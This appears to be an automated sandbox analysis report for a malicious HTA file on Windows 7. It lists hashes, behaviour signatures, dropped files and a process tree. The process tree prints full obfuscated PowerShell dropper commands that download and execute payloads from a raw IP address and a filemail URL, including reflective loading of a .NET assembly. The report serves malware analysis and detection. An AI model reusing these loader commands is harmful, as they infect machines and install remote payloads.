Analysis

  • max time kernel
    117s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    27-11-2024 02:41

General

  • Target

    70576f474296d70ab1182339945255eeed65d7f5e8b71b153a56b9e2c0478ec5.hta

  • Size

    600KB

  • MD5

    c24178318fab715f3b613fc11396ed80

  • SHA1

    d6711bb536adde5cb961f7d1559fc287f4aa3d76

  • SHA256

    70576f474296d70ab1182339945255eeed65d7f5e8b71b153a56b9e2c0478ec5

  • SHA512

    f397726076afe79c0f2e00afd8ddd7bc90e47cdffd04a033552e9246039cf781bf08c1a1bfb49c056d853106f82d6d00826f7b4cf9752bba032def61bb0e7d71

  • SSDEEP

    192:4dE6COljVxi5Dq4bm4i5Dq4gmXPi5Dq4oi5Dq4Umji5Dq4Jzt4kQ:b6COljV/zO7

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://3105.filemail.com/api/file/get?filekey=shTPHbCPX8o-lOtCqHLG6_0xCy-xl4tnxlAVbQ95-dviTK5cARaNdQjbb3mexfwQzKmTXg&skipreg=true&pk_vid=e0109638c9bfb9571732531309b5ff7c

exe.dropper

https://3105.filemail.com/api/file/get?filekey=shTPHbCPX8o-lOtCqHLG6_0xCy-xl4tnxlAVbQ95-dviTK5cARaNdQjbb3mexfwQzKmTXg&skipreg=true&pk_vid=e0109638c9bfb9571732531309b5ff7c

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\70576f474296d70ab1182339945255eeed65d7f5e8b71b153a56b9e2c0478ec5.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:1864
    • C:\Windows\SysWOW64\wINdOwSpoweRshelL\v1.0\POWErsHElL.Exe
      "C:\Windows\sYStEM32\wINdOwSpoweRshelL\v1.0\POWErsHElL.Exe" "poWeRSHell.exE -EX BYpASS -nOp -W 1 -C dEViceCRedeNtIaLDEpLoymenT ; Iex($(iex('[sySTem.TExt.enCoDINg]'+[cHAR]58+[CHar]0x3a+'utf8.GetSTrING([SYsTem.CoNVERT]'+[chaR]0X3a+[cHar]0x3a+'FromBASE64StRINg('+[char]34+'JE5yakxDICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbWJFUmRlZmluaXRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMTU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpveSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVck5XY2FHYVpQLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvR3FKbU9hdix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU0JSVCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiS0JFbEZIZXQpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ4S09Ld2IiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcEFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVYVUZJUUF2eCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTnJqTEM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguNDYuMTc4LjE5Mi8xMjIvd2VjcmVhdGVkYmV0dGVydGhpbmdzZ29vZHdheWVudGlyZWxpZmVncmVhdHRvZ29iZXR0ZXJ0aGluZ3MudElGIiwiJEVudjpBUFBEQVRBXHdlY3JlYXRlZGJldHRlcnRoaW5nc2dvb2R3YXllbnRpcmVsaWZlZ3JlYXR0b2dvYmV0dGVydGhpLnZCcyIsMCwwKTtTdEFSdC1TTGVlcCgzKTtJSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcd2VjcmVhdGVkYmV0dGVydGhpbmdzZ29vZHdheWVudGlyZWxpZmVncmVhdHRvZ29iZXR0ZXJ0aGkudkJzIg=='+[cHar]34+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2484
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX BYpASS -nOp -W 1 -C dEViceCRedeNtIaLDEpLoymenT
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3068
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\etxqmyfw.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2644
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC37F.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCC36E.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2816
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\wecreatedbetterthingsgoodwayentirelifegreattogobetterthi.vBs"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1604
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoIChbc1RySU5nXSR2RXJCb3NFcHJFRkVSZW5jZSlbMSwzXSsnWCctam9pbicnKSgoKCdzOTBKaW1hJysnZ2VVcmwgPSBJZkpvaHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGknKycvZmlsZS9nZXQnKyc/ZmlsZWtleT1zaFRQSGJDUFg4by1sT3RDcUhMRzZfMHhDeS14bDR0bnhsQVZiUTk1LWQnKyd2aVRLNWNBUmFOZCcrJ1FqYmIzbWV4ZndReksnKydtVFhnJnNraXByZWc9dHJ1ZSZwa192aWQ9ZTAxMDk2MzhjOWJmYjk1NzE3MzI1MzEzMDliNWZmN2MgSWYnKydKbztzOTBKd2ViQ2xpZW50ID0nKycgTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtzOTBKaW1hZ2VCeXRlcyA9IHM5MEp3ZWJDbGllbnQuRG93bmxvYWREYXRhKHM5MEppbWFnZVVybCk7czkwSmltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHM5MEppbWFnZUJ5dGVzKTtzOTBKc3RhcnRGbGFnID0gSWZKbzw8QkFTRTY0X1NUQVJUPj5JZkpvO3M5MEplbmRGbGFnID0gSWZKbzw8QkFTRTY0X0VORD4+SWZKbztzOTBKc3RhcnRJbmRleCA9IHM5MEppbWFnZVRleHQuSW5kZXhPZihzOTBKc3RhcnRGbGFnKTtzOTBKZW5kSW5kZXggPSBzOTBKaW1hZ2VUZXh0LkluZGV4T2YoczkwSmVuZEZsYWcpO3M5MEpzdGFydEluZGUnKyd4IC1nZSAwIC1hbmQgczkwSmVuZEluZGV4IC1ndCBzOTBKc3RhcnRJbmRleDtzOTBKc3RhcnRJbmRleCArPSBzOTBKc3RhcnRGbGFnLkxlbmd0aDtzOTBKYmFzZTY0TGVuZ3RoID0gczkwSmVuZEluZGV4IC0gczkwSnN0YXJ0SW5kZXg7czkwSmJhc2U2NENvbW1hbicrJ2QgPSBzOTBKaW1hZ2VUZXh0LlN1JysnYnN0cmluZyhzOTBKc3RhcnRJbmRleCwgczkwSmJhc2U2NExlbmd0aCk7czkwJysnSmJhc2U2NFJldmVyc2VkID0gLWpvaW4gKHM5MEpiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5JysnKCkgdzRFIEZvckVhY2gtT2JqZWN0IHsgczkwSl8gfSlbLTEuLi0oczkwSmJhc2U2NENvbW1hbmQuTCcrJ2VuZ3RoKV07czkwSmNvbW1hbmRCJysneXRlcyA9IFtTeXN0ZScrJ20uQ29udmVydF0nKyc6OkZyb21CYXNlNjRTdHJpbmcoczkwSmJhc2U2NFJldmVyc2VkKTtzOTBKbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHM5MEpjb21tYW5kQnl0ZXMpO3M5MEp2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKElmSm9WQUlJZkpvKScrJztzOTBKdmFpTWV0aG9kLkludm9rZShzOScrJzBKbnVsbCwgQChJZkpvdHh0LlJGVlJFLzIyMS8yOTEuODcxLjY0Ljg5MS8vOnB0dGhJZkpvLCBJZkpvZGVzYXRpdmFkb0lmSm8sIElmSm9kZXNhdGl2YWRvSWZKbywgSWZKJysnb2Rlc2F0aXZhZG9JZkpvJysnLCBJZkpvQ2FzUG9sSWZKJysnbywgSWZKb2Rlc2F0aXZhZG9JZkpvLCBJJysnZkpvZGVzYXRpdmFkb0lmSm8sSWZKb2Rlc2F0aXZhZG9JZkpvLElmSm9kZXNhdGl2YWRvSWZKJysnbyxJZkpvZGVzYXRpdmFkb0lmSm8sSWZKb2Rlc2F0aXZhZG9JZkpvLElmSm9kZXNhdCcrJ2l2YWRvSScrJ2ZKbyxJZkpvMUlmJysnSm8sSWZKb2Rlc2F0aXZhZG9JZkpvKSk7JykgIC1DcmVQTGFjRSAnSWZKbycsW0NIYVJdMzktUmVQbEFDZSAnczkwSicsW0NIYVJdMzYtQ3JlUExhY0UgIChbQ0hhUl0xMTkrW0NIYVJdNTIrW0NIYVJdNjkpLFtDSGFSXTEyNCkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1388
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( ([sTrINg]$vErBosEprEFERence)[1,3]+'X'-join'')((('s90Jima'+'geUrl = IfJohttps://3105.filemail.com/api'+'/file/get'+'?filekey=shTPHbCPX8o-lOtCqHLG6_0xCy-xl4tnxlAVbQ95-d'+'viTK5cARaNd'+'Qjbb3mexfwQzK'+'mTXg&skipreg=true&pk_vid=e0109638c9bfb9571732531309b5ff7c If'+'Jo;s90JwebClient ='+' New-Object System.Net.W'+'ebClient;s90JimageBytes = s90JwebClient.DownloadData(s90JimageUrl);s90JimageText = [System.Text.Encoding]::UTF8.GetString(s90JimageBytes);s90JstartFlag = IfJo<<BASE64_START>>IfJo;s90JendFlag = IfJo<<BASE64_END>>IfJo;s90JstartIndex = s90JimageText.IndexOf(s90JstartFlag);s90JendIndex = s90JimageText.IndexOf(s90JendFlag);s90JstartInde'+'x -ge 0 -and s90JendIndex -gt s90JstartIndex;s90JstartIndex += s90JstartFlag.Length;s90Jbase64Length = s90JendIndex - s90JstartIndex;s90Jbase64Comman'+'d = s90JimageText.Su'+'bstring(s90JstartIndex, s90Jbase64Length);s90'+'Jbase64Reversed = -join (s90Jbase64Command.ToCharArray'+'() w4E ForEach-Object { s90J_ })[-1..-(s90Jbase64Command.L'+'ength)];s90JcommandB'+'ytes = [Syste'+'m.Convert]'+'::FromBase64String(s90Jbase64Reversed);s90JloadedAssembly = [System.Reflection.Assembly]::Load(s90JcommandBytes);s90JvaiMethod = [dnlib.IO.Home].GetMethod(IfJoVAIIfJo)'+';s90JvaiMethod.Invoke(s9'+'0Jnull, @(IfJotxt.RFVRE/221/291.871.64.891//:ptthIfJo, IfJodesativadoIfJo, IfJodesativadoIfJo, IfJ'+'odesativadoIfJo'+', IfJoCasPolIfJ'+'o, IfJodesativadoIfJo, I'+'fJodesativadoIfJo,IfJodesativadoIfJo,IfJodesativadoIfJ'+'o,IfJodesativadoIfJo,IfJodesativadoIfJo,IfJodesat'+'ivadoI'+'fJo,IfJo1If'+'Jo,IfJodesativadoIfJo));') -CrePLacE 'IfJo',[CHaR]39-RePlACe 's90J',[CHaR]36-CrePLacE ([CHaR]119+[CHaR]52+[CHaR]69),[CHaR]124))"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2444

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RESC37F.tmp

    Filesize

    1KB

    MD5

    1f5377d2bb7a8749301ddace938b21bc

    SHA1

    af84537842f6b8771492ac581fdab5a68e217f78

    SHA256

    f159049ac10ff6233b1d1f0d2bd91e9287cdfe559b7ddc22d3211789b120f27b

    SHA512

    3f582fafc10e00d42d1cb3fae68554a820e4658761adb2503f97d78cefbab21bbf5cc313b2fdd5137c5727bd479b181196c44e109a6ae6a5314f39b363f9cfd4

  • C:\Users\Admin\AppData\Local\Temp\etxqmyfw.dll

    Filesize

    3KB

    MD5

    ea939b1794da9d5649607939e4ff9e1d

    SHA1

    99c65eaf5af8f31d618ff7c249d9edc11167f9d6

    SHA256

    9be8227c59ebd3f911928a69a53cb03135bb8e0436dddd4b1b549751891f6565

    SHA512

    ae47c2dd3afe6d4775164833c8fe1629896cdb081c397e8d89c25fd1a1912d27710b687fca30bb4465fafe29ff4877bf9bca6e3a7371878878bfd0c380d2453b

  • C:\Users\Admin\AppData\Local\Temp\etxqmyfw.pdb

    Filesize

    7KB

    MD5

    bb075c4dc0d993c0b03b6f980e3424a7

    SHA1

    924f7e49e3b82637735e7199de397ee7cf8b9049

    SHA256

    4f016f3749dc53c16e4b58325f92b7257f77e85c751782124fecbee16c22fcaf

    SHA512

    04363475ab7506ab542e66799d963e0e689ccf28c29e960a80a72d70e8e8cb76be3451aef1abf9a2955da2f7526913a4dd95d2fd1a9fe04070930c3f824b4aa7

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    9dfc3d883089735554d0166165289b41

    SHA1

    dc3ed1260207a56eb7df5ef58d634d51532ecf46

    SHA256

    e66769ca120698dbf475353a301775b2c37b99ae665dc7d4220d6eaf6331818e

    SHA512

    96ea5ed3147d985618d35cd8b01396e1836ef55e201b854e4a4b1ded9e8d866f0563843ad47ae105a30395998e871427fbc458e20429cc423d64fae5b19aa02a

  • C:\Users\Admin\AppData\Roaming\wecreatedbetterthingsgoodwayentirelifegreattogobetterthi.vBs

    Filesize

    162KB

    MD5

    66dea8976cdda98cc8301cb75c297156

    SHA1

    1c4404c8cc6c6c02df18ea7dc6519e7edad84c49

    SHA256

    ccaf45b19838ab67444ad6df528545ffd72b7d68060b4fcedcfc2a1f7a855e3c

    SHA512

    66235e9912a1cb62d6d6a997d2f8e56ee656fb1aae12499cc54a2773c2edd240c0e5bdec355caa65e035180a26e5f203234de00b61b2681a63c66770d1156a7f

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCC36E.tmp

    Filesize

    652B

    MD5

    96616dfa7c6c8d2b59fd55779ae11d34

    SHA1

    c38914d8c85ba636be841ec409d49854752729af

    SHA256

    6245d12ab6324bc7da3283d3f679ece0d9af1dd79d5c0dff00bc52e89438d79b

    SHA512

    2de164331c27e4e9a96ca5e6fde06f8956b7b02b66dea0afe8d14dcab05ff4bb3dce5d076a3c18b36c002e7bde42047138e3db477bd65ecfb04e66f57f921370

  • \??\c:\Users\Admin\AppData\Local\Temp\etxqmyfw.0.cs

    Filesize

    487B

    MD5

    ec9211d8c72f21a987a7352367f9a790

    SHA1

    7c513a66a26f28514e820f65c7b0cc5f47966295

    SHA256

    f16e7c3d9c844d3e5a58436c50ed9562b5c1ba9c7786c04c179514284716b136

    SHA512

    81d9ab17eb0c2a1c96dd48c3a572c5548664e7bfeb07b819b83d50479f23f4c42d1278af6ae185b91ca2aecf4823be20d968e21b354f4de808b43d375be89976

  • \??\c:\Users\Admin\AppData\Local\Temp\etxqmyfw.cmdline

    Filesize

    309B

    MD5

    7c51c26a20c5c1bb84b0b15834f50d5b

    SHA1

    ebf4a0ce3cc75e27738a7ded093b566fcf8cc31f

    SHA256

    645e8b8726c59d92c2408038e357f1bd7f20b6b01d9647191f3843c76c4d2249

    SHA512

    b79fdc6cd0e5b65ead91891f50e4e6a4ea4e3218233b86df390ac3a74a6500523c86bceed8ac528bc3f13499a1052d485487b81e02ac242b7a27e745beff3c1b